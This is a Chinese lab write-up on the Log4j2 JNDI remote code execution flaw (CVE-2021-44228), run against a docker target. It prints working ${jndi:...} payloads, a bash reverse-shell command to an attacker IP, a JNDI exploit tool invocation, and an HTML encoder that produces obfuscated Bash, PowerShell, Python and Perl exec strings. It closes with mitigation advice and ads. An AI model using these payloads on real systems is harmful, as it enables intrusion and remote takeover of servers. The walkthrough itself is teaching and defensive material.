前言
漏洞介绍
Apache Log4j2是一个Java的日志组件,在特定的版本中由于其启用了lookup功能,从而导致产生远程代码执行漏洞。
概念
log4j(log for java),Apache的开源日志记录组件,使用非常广泛
什么是LDAP?
轻型目录访问协议(Lightweight Directory Access Protocol,是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
目录结构的优点:
假如有个一个数据库,名叫职业,该数据库有许多表如学生、老师、工程师…,表的字段也有许多,如姓名、性别、年龄…
假如有100条数据,其中包含工程师、学生、老师的信息。
(1)不使用目录结构存储:所有人的职业信息都存在一张表中,顺序杂乱无章,想要查询信息就需要从第一条开始遍历。如果数据在最后一条,需要查询100次。
(2)使用目录结构:那么100条数据就分布在三个表中,只需要查询其中的一个表就可得到结果,查询效率就高了
什么是JNDI?
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
通俗点讲,就是通过名字去寻找对应的资源、位置、服务、对象……当数据源发生变化时,只需要修改数据源就可以了。
下面用例子来解释下它的原理以及优点
在数据库的操作中,传统的连接方式肯定是除了提供数据源的信息(如数据库类型、端口、用户名、密码)外,还需要导入对应的包和类名,才能调用相应的数据库驱动进行连接。比如JDBC,如果数据库从mysql变成了mssql是不是就需要对以上信息修改,如果仅仅是改动配置文件的数据库信息还好说,但是,那些进行了数据库操作的java文件,肯定也需要重新导入相应的驱动和类,在大项目中就显得非常的麻烦了。那有没有一种方法,只需要更改配置文件的数据源就可以了呢?
所以,JNDI提供这样的服务,在配置数据源时,对数据源进行命名,当需要进行数据库操作时,只需要提供数据源的名称即可。如果数据库的配置发生变化时,开发人员只需要改变数据源的信息,其他的都交给JNDI去管,我们只要保证数据源的命名不变就可以了。
如果要说JNDI具体的作用是什么,我认为就相当于一个管理部门,而它的职责是对目标资源进行统一调配和管理,当访问者需要调配资源时,只需要提供资源的名字,剩下的都交给JNDI去实现即可。
比如:有这样一个场景,当向银行申请贷款时,银行需要对贷款人的信息进行评估(如贷款人的职业、月收入,信用怎么样,是不是老赖,有没有过借钱不还的案例),从而决定是否同意贷款。如果这些信息都需要银行去收集并验证真实性,就会非常的麻烦,甚至还有可能收集的情况不真实。那么,能不能有这样一个部门,只要银行向该部门提供贷款人的姓名和身份证号就可以得到贷款人的信用结果呢?而这个部门就扮演着JNDI的角色。
而秘书,也扮演着JNDI的角色,老板需要什么资料、找哪个员工,只要提供名字就行,剩下的秘书去解决就行了。
JNDI实现原理
JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}
log4j2漏洞原理
${jndi:ldap:192.168.96.1:1099/shell}
http://192.168.96.1/#shell
其中wqiyua为恶意脚本
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/shell},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/shell
解析到ldap,就会去192.168.96.1:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
攻击者就可以通过shell实现任意的命令执行,造成严重危害
影响版本:Apache Log4j2 2.0-beta9 – 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)
漏洞编号:CVE-2021-44228
环境准备
测试环境 IP
Kali 192.168.1.183
靶机 192.168.1.15
靶场搭建
使用docker搭建vulfocus的漏洞靶场
浏览器访问:48974,部署成功:
DNSLog验证
通过DNSLog平台获取到域名samr5b.dnslog.cn,构造payload:${jndi:ldap://sgivyf.dnslog.cn},浏览器点击?????并使用Burpsuite进行抓包并替换payload参数,此时若直接发包会导致服务器400错误:
通过Burpsuite自带的编码工具对其进行URL编码:
编码后再次发送请求包:
在DNSLog网站成功接收到解析记录:
JNDI注入反弹shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行
漏洞利用:
下载地址:
使用方式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反弹shell指令:
bash -i >& /dev/tcp/ip/port 0>&1
此处kali的ip为192.168.1.181,port可使用任意未被占用的端口,此处指定为1234:
bash -i >& /dev/tcp/192.168.1.181/1234 0>&1
由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密将此条命令进行Java Runtime Bash 编码:
使用下面的html脚本生成即可
<html>
<head>
<title>java runtime exec usage...</title>
</head>
<body>
<p>Input type:
<input type="radio"
id="bash" name="option" value="bash"
onclick="processInput();" checked=""><label
for="bash">Bash</label>
<input type="radio"
id="powershell" name="option" value="powershell"
onclick="processInput();"><label
for="powershell">PowerShell</label>
<input type="radio"
id="python" name="option" value="python"
onclick="processInput();"><label
for="python">Python</label>
<input type="radio"
id="perl" name="option" value="perl"
onclick="processInput();"><label
for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%;
box-sizing: border-box;" id="input" placeholder="Type Bash
here..."></textarea>
<textarea rows="5"
style="width: 100%; box-sizing: border-box;" id="output"
onclick="this.focus(); this.select();"
readonly=""></textarea></p>
<script>
var
taInput = document.querySelector('textarea#input');
var
taOutput = document.querySelector('textarea#output');
function processInput() {
var option =
document.querySelector('input[name="option"]:checked').value;
switch (option) {
case 'bash':
taInput.placeholder = 'Type Bash here...'
taOutput.value = 'bash -c {echo,' + btoa(taInput.value) +
'}|{base64,-d}|{bash,-i}';
break;
case 'powershell':
taInput.placeholder = 'Type PowerShell here...'
poshInput = ''
for (var i = 0; i < taInput.value.length; i++) { poshInput +=
taInput.value[i] + unescape("%00"); }
taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc
' + btoa(poshInput);
break;
case 'python':
taInput.placeholder = 'Type Python here...'
taOutput.value = "python -c exec('" + btoa(taInput.value) +
"'.decode('base64'))";
break;
case 'perl':
taInput.placeholder = 'Type Perl here...'
taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('"
+ btoa(taInput.value) + "'))";
break;
default:
taOutput.value = ''
}
if (!taInput.value) taOutput.value = '';
}
taInput.addEventListener('input', processInput, false);
</script>
</body>
</html>
编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTgxLzEyMzQgMD4mMSA=}|{base64,-d}|{bash,-i}" -A 192.168.1.181
在新的窗口监听1234端口:
替换工具生成的payload:
rmi://192.168.1.181:1099/a5ktrj 到Burpsuite:
${jndi:rmi://192.168.1.181:1099/a5ktrj}
编码后发送到靶机:
%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%38%31%3a%31%30%39%39%2f%61%35%6b%74%72%6a%7d
再看kali
kali的监听窗口成功接收到反弹的shell:
成功反弹!
分析原理:
日志中包含 ${},lookup就会去解析括号里面的内容,
如:攻击payload :
${jndi:rmi:192.168.96.1:1099/wqiyua}
当lookup解析到jndi时,就会调用jndi并利用rmi,执行攻击机jndi服务下的class文件并执行,从而造成任意命令执行漏洞
修复与防御
禁止用户输入的参数中出现攻击关键字(过滤用户输入)
禁止lookup下载远程文件(命名应用)
禁止log4j的应用去连接外网
禁止log4j使用lookup方法
从log4j 的jar包总删除lookup(2.10以下版本)
升级到最新版本
使用waf
参考文章
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
限 时 特 惠: 本站每日持续更新海量各大内部创业教程,一年会员只需98元,全站资源免费下载 点击查看详情
站 长 微 信: lzxmw777